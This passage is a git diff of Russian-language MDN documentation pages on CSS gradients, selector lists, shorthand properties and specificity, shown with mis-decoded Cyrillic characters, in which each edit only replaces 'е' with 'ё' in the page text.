-<p>Π‘ ΠΊΠ°ΠΆΠ΄Ρ‹ΠΌ ΠΏΠΎΠ²Ρ‚ΠΎΡ€ΠΎΠΌ ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΈ Ρ†Π²Π΅Ρ‚ΠΎΠ² ΡΠ΄Π²ΠΈΠ³Π°ΡŽΡ‚ΡΡ Π½Π° Π²Π΅Π»ΠΈΡ‡ΠΈΠ½Ρƒ ΠΊΡ€Π°Ρ‚Π½ΡƒΡŽ Π΄Π»ΠΈΠ½Π΅ Π±Π°Π·ΠΎΠ²ΠΎΠ³ΠΎ Π³Ρ€Π°Π΄ΠΈΠ΅Π½Ρ‚Π° (расстояниС ΠΎΡ‚ ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΈ послСднСго Ρ†Π²Π΅Ρ‚Π° Π΄ΠΎ ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΈ ΠΏΠ΅Ρ€Π²ΠΎΠ³ΠΎ). Π’Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ Ρ‡Ρ‚ΠΎ позиция ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ послСднСго Ρ†Π²Π΅Ρ‚Π° совпадаСт с ΠΏΠΎΠ·ΠΈΡ†ΠΈΠ΅ΠΉ стартового Ρ†Π²Π΅Ρ‚Π°. И Ссли Ρ†Π²Π΅Ρ‚Π° ΠΎΡ‚Π»ΠΈΡ‡Π°ΡŽΡ‚ΡΡ это ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Ρ‚ ΠΊ Ρ€Π΅Π·ΠΊΠΎΠΌΡƒ Π²ΠΈΠ·ΡƒΠ°Π»ΡŒΠ½ΠΎΠΌΡƒ ΠΏΠ΅Ρ€Π΅Ρ…ΠΎΠ΄Ρƒ.</p>
+<p>Π‘ ΠΊΠ°ΠΆΠ΄Ρ‹ΠΌ ΠΏΠΎΠ²Ρ‚ΠΎΡ€ΠΎΠΌ ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΈ Ρ†Π²Π΅Ρ‚ΠΎΠ² ΡΠ΄Π²ΠΈΠ³Π°ΡŽΡ‚ΡΡ Π½Π° Π²Π΅Π»ΠΈΡ‡ΠΈΠ½Ρƒ ΠΊΡ€Π°Ρ‚Π½ΡƒΡŽ Π΄Π»ΠΈΠ½Π΅ Π±Π°Π·ΠΎΠ²ΠΎΠ³ΠΎ Π³Ρ€Π°Π΄ΠΈΠ΅Π½Ρ‚Π° (расстояниС ΠΎΡ‚ ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΈ послСднСго Ρ†Π²Π΅Ρ‚Π° Π΄ΠΎ ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΈ ΠΏΠ΅Ρ€Π²ΠΎΠ³ΠΎ). Π’Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ Ρ‡Ρ‚ΠΎ позиция ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ послСднСго Ρ†Π²Π΅Ρ‚Π° совпадаСт с ΠΏΠΎΠ·ΠΈΡ†ΠΈΠ΅ΠΉ стартового Ρ†Π²Π΅Ρ‚Π°. И Ссли Ρ†Π²Π΅Ρ‚Π° ΠΎΡ‚Π»ΠΈΡ‡Π°ΡŽΡ‚ΡΡ это ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Ρ‚ ΠΊ Ρ€Π΅Π·ΠΊΠΎΠΌΡƒ Π²ΠΈΠ·ΡƒΠ°Π»ΡŒΠ½ΠΎΠΌΡƒ ΠΏΠ΅Ρ€Π΅Ρ…ΠΎΠ΄Ρƒ.</p>
-<p>ΠŸΠΎΠ²Ρ‚ΠΎΡ€ΡΡŽΡ‰ΠΈΠΉΡΡ Π»ΠΈΠ½Π΅ΠΉΠ½Ρ‹ΠΉΒ Π³Ρ€Π°Π΄ΠΈΠ΅Π½Ρ‚ (ΠΊΠ°ΠΊ ΠΈ любой ΠΏΡ€ΠΎΡ‡ΠΈΠΉ Π³Ρ€Π°Π΄ΠΈΠ΅Π½Ρ‚) <a href="https://developer.mozilla.org/en-US/docs/CSS/image#no_intrinsic">Π½Π΅ ΠΈΠΌΠ΅Π΅Ρ‚ размСрностСй ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ</a>; Ρ‚.Π΅. Ρƒ Π½Π΅Π³ΠΎ Π½Π΅Ρ‚ ΠΏΡ€Π΅Π΄ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠ³ΠΎ Ρ€Π°Π·ΠΌΠ΅Ρ€Π° Π»ΠΈΠ±ΠΎ ΠΏΡ€ΠΎΠΏΠΎΡ€Ρ†ΠΈΠΈ. Π•Π³ΠΎ Ρ€Π°Π·ΠΌΠ΅Ρ€ Π±ΡƒΠ΄Π΅Ρ‚ ΡΠΎΠ²ΠΏΠ°Π΄Π°Ρ‚ΡŒ с Ρ€Π°Π·ΠΌΠ΅Ρ€Π°ΠΌΠΈ элСмСнта ΠΊ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌΡƒ ΠΎΠ½ ΠΏΡ€ΠΈΠΌΠ΅Π½Π΅Π½.</p>
+<p>ΠŸΠΎΠ²Ρ‚ΠΎΡ€ΡΡŽΡ‰ΠΈΠΉΡΡ Π»ΠΈΠ½Π΅ΠΉΠ½Ρ‹ΠΉΒ Π³Ρ€Π°Π΄ΠΈΠ΅Π½Ρ‚ (ΠΊΠ°ΠΊ ΠΈ любой ΠΏΡ€ΠΎΡ‡ΠΈΠΉ Π³Ρ€Π°Π΄ΠΈΠ΅Π½Ρ‚) <a href="https://developer.mozilla.org/en-US/docs/CSS/image#no_intrinsic">Π½Π΅ ΠΈΠΌΠ΅Π΅Ρ‚ размСрностСй ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ</a>; Ρ‚.Π΅. Ρƒ Π½Π΅Π³ΠΎ Π½Π΅Ρ‚ ΠΏΡ€Π΅Π΄ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠ³ΠΎ Ρ€Π°Π·ΠΌΠ΅Ρ€Π° Π»ΠΈΠ±ΠΎ ΠΏΡ€ΠΎΠΏΠΎΡ€Ρ†ΠΈΠΈ. Π•Π³ΠΎ Ρ€Π°Π·ΠΌΠ΅Ρ€ Π±ΡƒΠ΄Π΅Ρ‚ ΡΠΎΠ²ΠΏΠ°Π΄Π°Ρ‚ΡŒ с Ρ€Π°Π·ΠΌΠ΅Ρ€Π°ΠΌΠΈ элСмСнта ΠΊ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌΡƒ ΠΎΠ½ ΠΏΡ€ΠΈΠΌΠ΅Π½Π΅Π½.</p>
<div class="note">
<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅:</strong> ΠŸΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ <code>&lt;gradient&gt;</code> относится ΠΊ Ρ‚ΠΈΠΏΡƒ Π΄Π°Π½Π½Ρ‹Ρ… <code>&lt;image&gt;</code> , ΠΎΠ½ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ использован Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Ρ‚Π°ΠΌ Π³Π΄Π΅ ΠΏΡ€ΠΈΠΌΠ΅Π½ΠΈΠΌ Ρ‚ΠΈΠΏ <code>&lt;image&gt;</code>. По этой ΠΏΡ€ΠΈΡ‡ΠΈΠ½Π΅ <code>repeating-linear-gradient()</code> Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ с {{Cssxref("background-color")}} ΠΈ ΠΏΡ€ΠΎΡ‡ΠΈΠΌΠΈ свойствами ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‰ΠΈΠΌΠΈ Ρ‚ΠΈΠΏ Π΄Π°Π½Π½Ρ‹Ρ… {{cssxref("&lt;color&gt;")}}.</p>
diff --git a/files/ru/web/css/selector_list/index.html b/files/ru/web/css/selector_list/index.html
index dfa5948008..7bb32d2d94 100644
--- a/files/ru/web/css/selector_list/index.html
+++ b/files/ru/web/css/selector_list/index.html
@@ -2,7 +2,7 @@
title: Бписок сСлСкторов
slug: Web/CSS/Selector_list
tags:
- - ВСрстка
+ - Вёрстка
- список сСлСкторов
translation_of: Web/CSS/Selector_list
---
@@ -26,14 +26,14 @@ div {
<h3 id="Π“Ρ€ΡƒΠΏΠΏΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅_Π½Π°_ΠΎΠ΄Π½ΠΎΠΉ_Π»ΠΈΠ½ΠΈΠΈ">Π“Ρ€ΡƒΠΏΠΏΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ Π½Π° ΠΎΠ΄Π½ΠΎΠΉ Π»ΠΈΠ½ΠΈΠΈ</h3>
-<p>Π“Ρ€ΡƒΠΏΠΏΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ сСлСкторов списком, Ρ€Π°Π·Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΌ запятой, Π½Π° ΠΎΠ΄Π½ΠΎΠΉ строк.</p>
+<p>Π“Ρ€ΡƒΠΏΠΏΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ сСлСкторов списком, Ρ€Π°Π·Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΌ запятой, Π½Π° ΠΎΠ΄Π½ΠΎΠΉ строк.</p>
<pre class="brush: css">h1, h2, h3, h4, h5, h6 { font-family: helvetica; }
</pre>
<h3 id="ΠœΡƒΠ»ΡŒΡ‚ΠΈΡΡ‚Ρ€ΠΎΡ‡Π½ΠΎΠ΅_Π³Ρ€ΡƒΠΏΠΏΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅">ΠœΡƒΠ»ΡŒΡ‚ΠΈΡΡ‚Ρ€ΠΎΡ‡Π½ΠΎΠ΅ Π³Ρ€ΡƒΠΏΠΏΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅</h3>
-<p>Π“Ρ€ΡƒΠΏΠΏΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ сСлСкторов списком, Ρ€Π°Π·Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΌ запятой, Π½Π° Π½Π΅ΡΠΊΠΎΠ»ΡŒΠΊΠΈΡ… строках.</p>
+<p>Π“Ρ€ΡƒΠΏΠΏΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ сСлСкторов списком, Ρ€Π°Π·Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΌ запятой, Π½Π° Π½Π΅ΡΠΊΠΎΠ»ΡŒΠΊΠΈΡ… строках.</p>
<pre class="brush: css">#main,
.content,
@@ -54,7 +54,7 @@ h3 { font-family: sans-serif }</pre>
<p>Π­Ρ‚ΠΎ происходит ΠΏΠΎΡ‚ΠΎΠΌΡƒ, Ρ‡Ρ‚ΠΎ ΠΎΠ΄ΠΈΠ½ Π½Π΅ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅ΠΌΡ‹ΠΉ сСлСктор Π² спискС сСлСкторов Π΄Π΅Π»Π°Π΅Ρ‚ Π½Π΅Π΄Π΅ΠΉΡΡ‚Π²ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹ΠΌ всС ΠΏΡ€Π°Π²ΠΈΠ»ΠΎ.</p>
-<p>Π•ΡΡ‚ΡŒ способ ΠΈΡΠΏΡ€Π°Π²ΠΈΡ‚ΡŒ это - Π½ΡƒΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ сСлСктор {{CSSxRef(":is", ":is()")}}, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ просто ΠΈΠ³Π½ΠΎΡ€ΠΈΡ€ΡƒΠ΅Ρ‚ нСдопустимыС сСлСкторы Π² своих Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Π°, Π½ΠΎ Π·Π° счСт этого, всС сСлСкторы ΠΈΠΌΠ΅ΡŽΡ‚ ΠΎΠ΄ΠΈΠ½Π°ΠΊΠΎΠ²ΡƒΡŽ ΡΠΏΠ΅Ρ†ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΡŽ, Ρ‚Π°ΠΊ ΠΊΠ°ΠΊ {{CSSxRef(":is", ":is()")}} вычисляСт ΡΠΏΠ΅Ρ†ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΡŽ.</p>
+<p>Π•ΡΡ‚ΡŒ способ ΠΈΡΠΏΡ€Π°Π²ΠΈΡ‚ΡŒ это - Π½ΡƒΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ сСлСктор {{CSSxRef(":is", ":is()")}}, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ просто ΠΈΠ³Π½ΠΎΡ€ΠΈΡ€ΡƒΠ΅Ρ‚ нСдопустимыС сСлСкторы Π² своих Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Π°, Π½ΠΎ Π·Π° счёт этого, всС сСлСкторы ΠΈΠΌΠ΅ΡŽΡ‚ ΠΎΠ΄ΠΈΠ½Π°ΠΊΠΎΠ²ΡƒΡŽ ΡΠΏΠ΅Ρ†ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΡŽ, Ρ‚Π°ΠΊ ΠΊΠ°ΠΊ {{CSSxRef(":is", ":is()")}} вычисляСт ΡΠΏΠ΅Ρ†ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΡŽ.</p>
<pre class="brush: css">h1 { font-family: sans-serif }
h2:maybe-unsupported { font-family: sans-serif }
diff --git a/files/ru/web/css/shorthand_properties/index.html b/files/ru/web/css/shorthand_properties/index.html
index 5ac6911db1..90738acb1b 100644
--- a/files/ru/web/css/shorthand_properties/index.html
+++ b/files/ru/web/css/shorthand_properties/index.html
@@ -9,7 +9,7 @@ translation_of: Web/CSS/Shorthand_properties
---
<div>{{cssref}}</div>
-<p class="summary"><strong><dfn>Π‘ΠΎΠΊΡ€Π°Ρ‰Π΅Π½Π½Ρ‹Π΅ свойства</dfn></strong>Β - это Ρ‚Π°ΠΊΠΈΠ΅ CSS свойства, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‚ ΠΎΠ΄Π½ΠΎΠ²Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎ ΡƒΡΡ‚Π°Π½Π°Π²Π»ΠΈΠ²Π°Ρ‚ΡŒ значСния Π½Π΅ΡΠΊΠΎΠ»ΡŒΠΊΠΈΡ… Π΄Ρ€ΡƒΠ³ΠΈΡ… свойств. Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ сокращСнноС свойство, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΠΈΡΠ°Ρ‚ΡŒ Π±ΠΎΠ»Π΅Π΅ сТатыС (ΠΈ часто Π±ΠΎΠ»Π΅Π΅ Ρ‡ΠΈΡ‚Π°Π΅ΠΌΡ‹Π΅) Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹ стилСй, экономя врСмя ΠΈ ΡΠ½Π΅Ρ€Π³ΠΈΡŽ.</p>
+<p class="summary"><strong><dfn>Π‘ΠΎΠΊΡ€Π°Ρ‰Ρ‘Π½Π½Ρ‹Π΅ свойства</dfn></strong>Β - это Ρ‚Π°ΠΊΠΈΠ΅ CSS свойства, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‚ ΠΎΠ΄Π½ΠΎΠ²Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎ ΡƒΡΡ‚Π°Π½Π°Π²Π»ΠΈΠ²Π°Ρ‚ΡŒ значСния Π½Π΅ΡΠΊΠΎΠ»ΡŒΠΊΠΈΡ… Π΄Ρ€ΡƒΠ³ΠΈΡ… свойств. Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ сокращённоС свойство, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΠΈΡΠ°Ρ‚ΡŒ Π±ΠΎΠ»Π΅Π΅ сТатыС (ΠΈ часто Π±ΠΎΠ»Π΅Π΅ Ρ‡ΠΈΡ‚Π°Π΅ΠΌΡ‹Π΅) Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹ стилСй, экономя врСмя ΠΈ ΡΠ½Π΅Ρ€Π³ΠΈΡŽ.</p>
<p>The CSS specification defines shorthand properties to group the definition of common properties acting on the same theme. For instance, the CSS {{cssxref("background")}} property is a shorthand property that's able to define the values of {{cssxref("background-color")}}, {{cssxref("background-image")}}, {{cssxref("background-repeat")}}, and {{cssxref("background-position")}}. Similarly, the most common font-related properties can be defined using the shorthand {{cssxref("font")}}, and the different margins around a box can be defined using the {{cssxref("margin")}} shorthand.</p>
diff --git a/files/ru/web/css/specificity/index.html b/files/ru/web/css/specificity/index.html
index 42adadbf3a..535a64f460 100644
--- a/files/ru/web/css/specificity/index.html
+++ b/files/ru/web/css/specificity/index.html
@@ -38,7 +38,7 @@ translation_of: Web/CSS/Specificity
<h3 id="Π’Π°ΠΆΠ½ΠΎΠ΅_ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅_ΠΈΠ·_ΠΏΡ€Π°Π²ΠΈΠ»_-_!important">Π’Π°ΠΆΠ½ΠΎΠ΅ ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅ ΠΈΠ· ΠΏΡ€Π°Π²ΠΈΠ» - <code>!important</code></h3>
-<p>Когда ΠΏΡ€ΠΈ объявлСнии стиля ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ ΠΌΠΎΠ΄ΠΈΡ„ΠΈΠΊΠ°Ρ‚ΠΎΡ€ <code>!important</code>, это объявлСниС ΠΏΠΎΠ»ΡƒΡ‡Π°Π΅Ρ‚ Π½Π°ΠΈΠ²Ρ‹ΡΡˆΠΈΠΉ ΠΏΡ€ΠΈΠΎΡ€ΠΈΡ‚Π΅Ρ‚ срСди всСх ΠΏΡ€ΠΎΡ‡ΠΈΡ… объявлСний. Π₯отя тСхничСски ΠΌΠΎΠ΄ΠΈΡ„ΠΈΠΊΠ°Ρ‚ΠΎΡ€ <code>!important</code> Π½Π΅ ΠΈΠΌΠ΅Π΅Ρ‚ со ΡΠΏΠ΅Ρ†ΠΈΡ„ΠΈΡ‡Π½ΠΎΡΡ‚ΡŒΡŽ Π½ΠΈΡ‡Π΅Π³ΠΎ ΠΎΠ±Ρ‰Π΅Π³ΠΎ, ΠΎΠ½ нСпосрСдствСнно Π½Π° Π½Π΅Ρ‘ влияСт. ΠŸΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ <code>!important</code> услоТняСт ΠΎΡ‚Π»Π°Π΄ΠΊΡƒ, Π½Π°Ρ€ΡƒΡˆΠ°Ρ СстСствСнноС <a href="/ru-RU/docs/Web/CSS/Cascade">каскадированиС</a> Π²Π°ΡˆΠΈΡ… стилСй, ΠΎΠ½ <strong>Π½Π΅ привСтствуСтся</strong> ΠΈ слСдуСт ΠΈΠ·Π±Π΅Π³Π°Ρ‚ΡŒ Π΅Π³ΠΎ использования. Если ΠΊ элСмСнту ΠΏΡ€ΠΈΠΌΠ΅Π½ΠΈΠΌΡ‹ Π΄Π²Π° Π²Π·Π°ΠΈΠΌΠΎΠΈΡΠΊΠ»ΡŽΡ‡Π°ΡŽΡ‰ΠΈΡ… стиля с ΠΌΠΎΠ΄ΠΈΡ„ΠΈΠΊΠ°Ρ‚ΠΎΡ€ΠΎΠΌ <code>!important</code>, Ρ‚ΠΎ ΠΏΡ€ΠΈΠΌΠ΅Π½Π΅Π½ Π±ΡƒΠ΄Π΅Ρ‚ ΡΡ‚ΠΈΠ»ΡŒ с большСй ΡΠΏΠ΅Ρ†ΠΈΡ„ΠΈΡ‡Π½ΠΎΡΡ‚ΡŒΡŽ.</p>
+<p>Когда ΠΏΡ€ΠΈ объявлСнии стиля ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ ΠΌΠΎΠ΄ΠΈΡ„ΠΈΠΊΠ°Ρ‚ΠΎΡ€ <code>!important</code>, это объявлСниС ΠΏΠΎΠ»ΡƒΡ‡Π°Π΅Ρ‚ Π½Π°ΠΈΠ²Ρ‹ΡΡˆΠΈΠΉ ΠΏΡ€ΠΈΠΎΡ€ΠΈΡ‚Π΅Ρ‚ срСди всСх ΠΏΡ€ΠΎΡ‡ΠΈΡ… объявлСний. Π₯отя тСхничСски ΠΌΠΎΠ΄ΠΈΡ„ΠΈΠΊΠ°Ρ‚ΠΎΡ€ <code>!important</code> Π½Π΅ ΠΈΠΌΠ΅Π΅Ρ‚ со ΡΠΏΠ΅Ρ†ΠΈΡ„ΠΈΡ‡Π½ΠΎΡΡ‚ΡŒΡŽ Π½ΠΈΡ‡Π΅Π³ΠΎ ΠΎΠ±Ρ‰Π΅Π³ΠΎ, ΠΎΠ½ нСпосрСдствСнно Π½Π° Π½Π΅Ρ‘ влияСт. ΠŸΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ <code>!important</code> услоТняСт ΠΎΡ‚Π»Π°Π΄ΠΊΡƒ, Π½Π°Ρ€ΡƒΡˆΠ°Ρ СстСствСнноС <a href="/ru-RU/docs/Web/CSS/Cascade">каскадированиС</a> Π²Π°ΡˆΠΈΡ… стилСй, ΠΎΠ½ <strong>Π½Π΅ привСтствуСтся</strong> ΠΈ слСдуСт ΠΈΠ·Π±Π΅Π³Π°Ρ‚ΡŒ Π΅Π³ΠΎ использования. Если ΠΊ элСмСнту ΠΏΡ€ΠΈΠΌΠ΅Π½ΠΈΠΌΡ‹ Π΄Π²Π° Π²Π·Π°ΠΈΠΌΠΎΠΈΡΠΊΠ»ΡŽΡ‡Π°ΡŽΡ‰ΠΈΡ… стиля с ΠΌΠΎΠ΄ΠΈΡ„ΠΈΠΊΠ°Ρ‚ΠΎΡ€ΠΎΠΌ <code>!important</code>, Ρ‚ΠΎ ΠΏΡ€ΠΈΠΌΠ΅Π½Ρ‘Π½ Π±ΡƒΠ΄Π΅Ρ‚ ΡΡ‚ΠΈΠ»ΡŒ с большСй ΡΠΏΠ΅Ρ†ΠΈΡ„ΠΈΡ‡Π½ΠΎΡΡ‚ΡŒΡŽ.</p>
<p><strong>НСсколько практичСских совСтов:</strong></p>
@@ -69,7 +69,7 @@ span </span><span class="pun">{</span><span class="pln"> </span><span class="kwd
<p>Π’Π½Π΅ зависимости ΠΎΡ‚ порядка слСдования ΠΏΡ€Π°Π²ΠΈΠ», тСкст всСгда Π±ΡƒΠ΄Π΅Ρ‚ Π·Π΅Π»Ρ‘Π½Ρ‹ΠΌ, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ Ρƒ этого ΠΏΡ€Π°Π²ΠΈΠ»Π° наибольшая ΡΠΏΠ΅Ρ†ΠΈΡ„ΠΈΡ‡Π½ΠΎΡΡ‚ΡŒ (ΠΏΡ€ΠΈ этом, ΠΏΡ€Π°Π²ΠΈΠ»ΠΎ для Π³ΠΎΠ»ΡƒΠ±ΠΎΠ³ΠΎ Ρ†Π²Π΅Ρ‚Π° ΠΈΠΌΠ΅Π΅Ρ‚ прСимущСство ΠΏΠ΅Ρ€Π΅Π΄ ΠΏΡ€Π°Π²ΠΈΠ»ΠΎΠΌ для красного, нСсмотря Π½Π° порядок слСдования).</p>
-<p><strong>Π’Π°ΠΌ придСтся ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ <code>!important</code> Ссли:</strong></p>
+<p><strong>Π’Π°ΠΌ придётся ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ <code>!important</code> Ссли:</strong></p>
<p>А) ΠŸΠ΅Ρ€Π²Ρ‹ΠΉ сцСнарий:</p>
@@ -78,11 +78,11 @@ span </span><span class="pun">{</span><span class="pln"> </span><span class="kwd
<li>Π’Ρ‹ ΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚Π΅ΡΡŒ (ΠΈΠ»ΠΈ ΠΊΡ‚ΠΎ-Ρ‚ΠΎ Π΄Ρ€ΡƒΠ³ΠΎΠΉ ΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ) вСсьма ΡΠΎΠΌΠ½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹ΠΌ срСдством - объявлСниСм стилСй нСпосрСдствСнно Π² элСмСнтах</li>
</ol>
-<p>Π’ Ρ‚Π°ΠΊΠΎΠΌ случаС Π²Π°ΠΌ придСтся ΠΎΠ±ΡŠΡΠ²ΠΈΡ‚ΡŒ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ стили Π² вашСм ΠΎΠ±Ρ‰Π΅ΠΌ Ρ„Π°ΠΉΠ»Π΅ CSS ΠΊΠ°ΠΊ <code>!important</code>, пСрСопрСдСляя, Ρ‚Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, стили, установлСнныС Π² самих элСмСнтах.</p>
+<p>Π’ Ρ‚Π°ΠΊΠΎΠΌ случаС Π²Π°ΠΌ придётся ΠΎΠ±ΡŠΡΠ²ΠΈΡ‚ΡŒ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ стили Π² вашСм ΠΎΠ±Ρ‰Π΅ΠΌ Ρ„Π°ΠΉΠ»Π΅ CSS ΠΊΠ°ΠΊ <code>!important</code>, пСрСопрСдСляя, Ρ‚Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, стили, установлСнныС Π² самих элСмСнтах.</p>
<p>ΠŸΡ€ΠΈΠΌΠ΅Ρ€ ΠΈΠ· ΠΏΡ€Π°ΠΊΡ‚ΠΈΠΊΠΈ: НСкоторыС ΠΏΠ»ΠΎΡ…ΠΎ написанныС <strong>ΠΏΠ»Π°Π³ΠΈΠ½Ρ‹ jQuery</strong>, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‰ΠΈΠ΅ присваиваниС стилСй самим элСмСнтам.</p>
-<p>Π‘) Π•Ρ‰Π΅ сцСнарий:</p>
+<p>Π‘) Π•Ρ‰Ρ‘ сцСнарий:</p>
<pre class="default prettyprint prettyprinted"><code><span class="com">#someElement p {</span><span class="pln">
color</span><span class="pun">:</span><span class="pln"> blue</span><span class="pun">;</span><span class="pln">
@@ -96,7 +96,7 @@ p</span><span class="pun">.</span><span class="pln">awesome </span><span class="
<p><strong>Как ΠΏΡ€Π΅ΠΎΠ΄ΠΎΠ»Π΅Ρ‚ΡŒ !important</strong></p>
-<p>A)Β ΠŸΡ€ΠΎΡΡ‚ΠΎ Π΄ΠΎΠ±Π°Π²ΡŒΡ‚Π΅ Π΅Ρ‰Π΅ ΠΎΠ΄Π½ΠΎ ΠΏΡ€Π°Π²ΠΈΠ»ΠΎ с ΠΌΠΎΠ΄ΠΈΡ„ΠΈΠΊΠ°Ρ‚ΠΎΡ€ΠΎΠΌ <code>!important</code>, Ρƒ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ сСлСктор ΠΈΠΌΠ΅Π΅Ρ‚ Π±ΠΎΠ»ΡŒΡˆΡƒΡŽ ΡΠΏΠ΅Ρ†ΠΈΡ„ΠΈΡ‡Π½ΠΎΡΡ‚ΡŒ (благодаря добавлСнию Ρ‚ΠΈΠΏΠ° элСмСнта (тэга), ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ‚ΠΎΡ€Π° (Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π° id) ΠΈΠ»ΠΈ класса ΠΊ сСлСктору).</p>
+<p>A)Β ΠŸΡ€ΠΎΡΡ‚ΠΎ Π΄ΠΎΠ±Π°Π²ΡŒΡ‚Π΅ Π΅Ρ‰Ρ‘ ΠΎΠ΄Π½ΠΎ ΠΏΡ€Π°Π²ΠΈΠ»ΠΎ с ΠΌΠΎΠ΄ΠΈΡ„ΠΈΠΊΠ°Ρ‚ΠΎΡ€ΠΎΠΌ <code>!important</code>, Ρƒ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ сСлСктор ΠΈΠΌΠ΅Π΅Ρ‚ Π±ΠΎΠ»ΡŒΡˆΡƒΡŽ ΡΠΏΠ΅Ρ†ΠΈΡ„ΠΈΡ‡Π½ΠΎΡΡ‚ΡŒ (благодаря добавлСнию Ρ‚ΠΈΠΏΠ° элСмСнта (тэга), ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ‚ΠΎΡ€Π° (Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π° id) ΠΈΠ»ΠΈ класса ΠΊ сСлСктору).</p>
<p>ΠŸΡ€ΠΈΠΌΠ΅Ρ€ большСй спСцифичности:</p>
@@ -126,7 +126,7 @@ p</span><span class="pun">.</span><span class="pln">awesome </span><span class="
